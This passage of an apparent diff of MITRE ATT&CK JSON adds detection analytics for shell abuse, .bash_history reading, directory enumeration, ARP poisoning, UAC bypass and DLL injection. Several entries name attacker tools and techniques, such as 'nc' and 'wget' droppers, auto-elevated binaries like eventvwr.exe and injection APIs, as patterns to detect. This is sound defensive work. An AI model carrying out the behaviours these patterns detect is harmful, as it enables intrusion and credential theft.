"url": "https://attack.mitre.org/detectionstrategies/DET0384#AN1083", + "external_id": "AN1083" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1083", + "description": "Detects BusyBox or Ash shell execution from unauthorized logins or remote connections. Focus is on rare shell invocations from DCUI, SSH sessions, or remote management paths. Also watches for payload droppers or persistence artifacts using shell.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:vmkernel", + "channel": "DCUI shell start, BusyBox activity" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "esxi:auth", + "channel": "Shell login or escalation" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserContext", + "description": "Non-root use of shell (or root outside maintenance window)." + }, + { + "field": "CommandPattern", + "description": "Use of \u2018nc\u2019, \u2018wget\u2019, or dropper-like behavior in shell." + }, + { + "field": "ShellPath", + "description": "Unexpected invocation of BusyBox/ash from mounted ISO or datastore." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2adf0c92-5d0a-459d-affc-f4abd4d406d0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0384#AN1084", + "external_id": "AN1084" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1084", + "description": "Detects Unix shell usage on network appliances (e.g., routers, firewalls, embedded Linux) through rare console commands, CLI interfaces, or script injection via exposed APIs or SSH.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "networkdevice:syslog", + "channel": "CLI Command Audit" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "NSM:Flow", + "channel": "remote access" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "Interface", + "description": "Flags command line access via remote console (telnet/SSH/API) from non-whitelisted source." + }, + { + "field": "CommandString", + "description": "Monitors rare/privileged shell commands (e.g., enable, tftp, firmware mod)." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--12be6c5f-213a-464f-b780-ac06f20ab763", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0385#AN1085", + "external_id": "AN1085" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1085", + "description": "A process outside of interactive shell context reads ~/.bash_history directly (e.g., using cat, less, grep), often shortly after privilege escalation or user switch (su/sudo). This may be followed by credential scanning in memory or file writes to new locations.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "open/read access to ~/.bash_history" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:EXECVE", + "channel": "cat|less|grep accessing .bash_history from a non-shell process" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "auditd:SYSCALL", + "channel": "write or create file after .bash_history access" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserContext", + "description": "Filter by users with elevated privileges or service accounts" + }, + { + "field": "TimeWindow", + "description": "Correlate access to .bash_history within X seconds of user switch or privilege escalation" + }, + { + "field": "ProcessNamePatterns", + "description": "Add/remove CLI utilities used to read bash history" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ead38dff-ee26-477d-be5a-69b52dc8bd50", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0385#AN1086", + "external_id": "AN1086" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1086", + "description": "A process or terminal command outside of standard shell utilities reads the user's .bash_history file. On macOS, unified logs or telemetry tools like EndpointSecurity (ESF) may observe file read APIs or terminal process lineage that shows non-user-initiated access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "macos:endpointsecurity", + "channel": "open or read syscall to ~/.bash_history" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "macos:unifiedlog", + "channel": "non-shell process tree accessing bash history" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentProcessCheck", + "description": "Scope access to .bash_history only if parent is not Terminal.app or bash/zsh" + }, + { + "field": "AccessFrequency", + "description": "Raise priority if .bash_history is accessed multiple times in short window" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f74ce996-0982-4e2a-86ee-5bce001ee9fc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0386#AN1087", + "external_id": "AN1087" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1087", + "description": "Enumeration of identity roles and users via API calls such as `Get-MsolRoleMember`, `az ad user list`, or Graph API tokens from unauthorized users or automation accounts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0", + "name": "Microsoft Entra ID Audit Logs", + "channel": "RoleManagement.Read.Directory or Directory.Read.All" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "azure:signinlogs", + "channel": "Interactive/Non-Interactive Sign-In" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "m365:defender", + "channel": "Activity Log: Command Invocation" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TokenScope", + "description": "Flags excessive or abnormal use of directory read scopes by unexpected principals." + }, + { + "field": "AppContext", + "description": "Differentiate authorized automation from rogue access tokens or external tools." + }, + { + "field": "TimeWindow", + "description": "Trigger correlation across short bursts of high-volume enumeration." + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3d124174-1e58-44e2-9f5b-f63394fb7a2e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0386#AN1088", + "external_id": "AN1088" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1088", + "description": "Use of AWS CLI (`aws iam list-users`, `list-roles`), Azure CLI (`az ad user list`), or GCP CLI (`gcloud iam service-accounts list`) from endpoints or cloud shells where such activity is unexpected.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "AWS:CloudTrail", + "channel": "AWS IAM: ListUsers, ListRoles" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0", + "name": "azure:activity", + "channel": "Azure CLI Operation: Microsoft.Graph/users/read" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CallerType", + "description": "Suppress known admin accounts and alert on developer/test/service identities." + }, + { + "field": "CLIUserAgent", + "description": "Correlate unexpected CLI user-agents and geolocation anomalies." + }, + { + "field": "CloudRegion", + "description": "Suppress noise from known IP ranges or whitelisted accounts per region." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0961ff0c-8c36-4820-948d-12855b7f5cc7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0386#AN1089", + "external_id": "AN1089" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1089", + "description": "Bulk enumeration of cloud user email identities through `Get-Recipient`, `Get-Mailbox`, `Get-User`, or Graph API directory listings by abnormal accounts or suspicious sessions.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "CmdletName: Get-Recipient, Get-User" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0", + "name": "Microsoft Graph API Logs", + "channel": "users.list, directoryObjects.getByIds" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CmdletVolume", + "description": "Tune threshold for recipient/mailbox queries by volume per hour." + }, + { + "field": "UserAgent", + "description": "Match known admin consoles and exclude sanctioned tools like MSOL PowerShell." + }, + { + "field": "SessionContext", + "description": "Elevate sessions from unmanaged or external endpoints." + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--089d588f-a6aa-4083-a900-ebcae97b5bfa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0386#AN1090", + "external_id": "AN1090" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1090", + "description": "Access to organizational directories via Google Workspace Directory API, Slack SCIM, or Okta SCIM by apps or identities outside normal roles.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0", + "name": "Google Admin Audit", + "channel": "users.list, groups.list" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "saas:okta", + "channel": "System API Call: user.read, group.read" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "APIRequestRate", + "description": "Detect rapid enumeration attempts or recursive group expansion." + }, + { + "field": "AppIntegrationID", + "description": "Tag expected SCIM clients and suppress false positives from enterprise sync tools." + }, + { + "field": "GeoContext", + "description": "Trigger alerts if enumeration occurs from anomalous IPs or regions." + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--dc4a80e3-7670-474f-aaf6-c051d5dda83c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0387#AN1091", + "external_id": "AN1091" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1091", + "description": "Detects anomalous ARP traffic or cache modifications on Windows endpoints that indicate ARP poisoning. Behavioral focus is on multiple IP addresses resolving to a single MAC, or unsolicited ARP replies from unauthorized devices.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "WinEventLog:Security", + "channel": "ARP cache modification attempts observed through event tracing or security baselines" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TrustedGatewayMAC", + "description": "Expected MAC address for default gateways; deviations may indicate poisoning." + }, + { + "field": "TimeWindow", + "description": "Correlation interval for repeated unsolicited ARP replies." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5ee16525-5e86-4634-aa75-37468c4034c4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0387#AN1092", + "external_id": "AN1092" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1092", + "description": "Detects suspicious gratuitous ARP responses or inconsistent IP-to-MAC mappings using auditd and packet capture. Behavioral focus is on unsolicited replies overriding legitimate ARP ownership.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "auditd:SYSCALL", + "channel": "setsockopt, ioctl modifying ARP entries" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "Gratuitous ARP replies with mismatched IP-MAC binding" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedARPUpdates", + "description": "Expected legitimate IP-to-MAC updates for servers or virtual routers." + }, + { + "field": "AlertThreshold", + "description": "Number of anomalous ARP packets per second before triggering detection." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0f996058-7524-4759-9d88-a8997e90ff3c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0387#AN1093", + "external_id": "AN1093" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1093", + "description": "Detects anomalous ARP cache changes and unsolicited ARP broadcasts using unified logs and packet capture. Behavioral detection includes multiple IP addresses mapped to the same MAC address and repeated gratuitous ARP traffic.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "macos:unifiedlog", + "channel": "ARP table updates inconsistent with expected gateway or DHCP lease assignments" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Excessive gratuitous ARP replies on local subnet" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "GatewayMACBaseline", + "description": "Known MAC addresses for gateways or DHCP servers; used to detect spoofed ARP entries." + }, + { + "field": "CorrelationDepth", + "description": "How many ARP inconsistencies to tolerate before escalating detection." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--13a875c4-87d2-448e-a46e-970e1f9ad5da", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0388#AN1094", + "external_id": "AN1094" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1094", + "description": "Detects a multi-event behavior chain involving UAC bypass attempts via known auto-elevated binaries (e.g., eventvwr.exe, sdclt.exe), unauthorized Registry changes to UAC-related keys, and anomalous process execution with elevated privileges but lacking standard parent-child lineage. Suspicious patterns include invocation of auto-elevated COM objects or manipulation of isolatedCommand Registry entries without consent prompts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "WinEventLog:Security", + "channel": "EventCode=4672" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlate registry tampering and elevation within a tunable time window (e.g., 30 seconds) to reduce noise from benign admin activity." + }, + { + "field": "ElevatedProcessNameList", + "description": "Tunable list of suspicious elevated binaries (e.g., sdclt.exe, eventvwr.exe, computerdefaults.exe) known to support UAC bypass." + }, + { + "field": "ParentProcessAnomalyThreshold", + "description": "Define logic for parent-child mismatch (e.g., non-elevated process spawning auto-elevated one) to flag uncommon elevation paths." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a06e9154-5584-4f5d-be47-b420d79674c7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0389#AN1095", + "external_id": "AN1095" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1095", + "description": "Detects DLL injection through correlation of memory allocation and writing to remote process memory (e.g., VirtualAllocEx, WriteProcessMemory), followed by remote thread creation (e.g., CreateRemoteThread) that loads a suspicious or unsigned DLL using LoadLibrary or reflective loading.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b9a1578e-8653-4103-be23-cb52e0b1816e", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=17" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "InjectedDLLSignatureStatus", + "description": "Whether the DLL is unsigned, untrusted, or loaded from a non-standard path" + }, + { + "field": "TimeWindow", + "description": "Temporal correlation threshold between memory operations and thread creation" + }, + { + "field": "TargetProcessList", + "description": "List of sensitive or high-value processes targeted for injection (e.g., explorer.exe, winlogon.exe)" + }, + { + "field": "ParentProcessAnomalyThreshold", + "description": "Degree of deviation from expected parent-child lineage" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7bd7f602-0f85-4e96-bd40-ae4a6f490b32", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0390#AN1096", + "external_id": "AN1096" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1096", + "description": "Correlation of file creation/modification of `.desktop` files within XDG autostart directories, followed by execution of processes at user login initiated by the desktop environment. Malicious entries typically include suspicious Exec paths or anomalous names and are not associated with installed packages.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "auditd:SYSCALL", + "channel": "creat" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "open" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:EXECVE", + "channel": "Process execution via .desktop Exec path from /etc/xdg/autostart or ~/.config/autostart" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "linux:osquery", + "channel": "Write or modify .desktop file in XDG autostart path" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "linux:auth", + "channel": "User login event followed by unexpected process tree" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ExecCommandPattern", + "description": "Regex or allowlist of expected Exec paths within .desktop files. Deviations may be suspicious." + }, + { + "field": "AutostartDirectory", + "description": "May vary by user config (e.g., $XDG_CONFIG_HOME). Must enumerate actual values per system." + }, + { + "field": "TimeWindow", + "description": "Correlate file creation/mod + exec within login window (e.g., 0\u20135 min of user logon)." + }, + { + "field": "UserContext", + "description": "Should filter to non-system users, as XDG persistence typically targets interactive sessions." + }, + { + "field": "PackageOriginBaseline", + "description": "Compare .desktop entries to known package sources (e.g., `dpkg -S`). Unexpected origins may be suspicious." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c07e8730-b5cf-4a74-be3a-938184af42df", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0391#AN1097", + "external_id": "AN1097" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1097", + "description": "Monitor for runtime data manipulations by detecting suspicious modification of application binaries, API hooking, or unexpected behavior from processes responsible for rendering or displaying data. Correlate registry edits, process creation, and unexpected binary hash mismatches.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=15" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Security", + "channel": "EventCode=4657" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredPaths", + "description": "Directory paths of business-critical applications where runtime manipulations are most impactful." + }, + { + "field": "HashBaseline", + "description": "Expected cryptographic hashes of application binaries used for runtime data display." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e2e39b7e-02e4-4e7a-966c-6b05721da8f7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0391#AN1098", + "external_id": "AN1098" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": 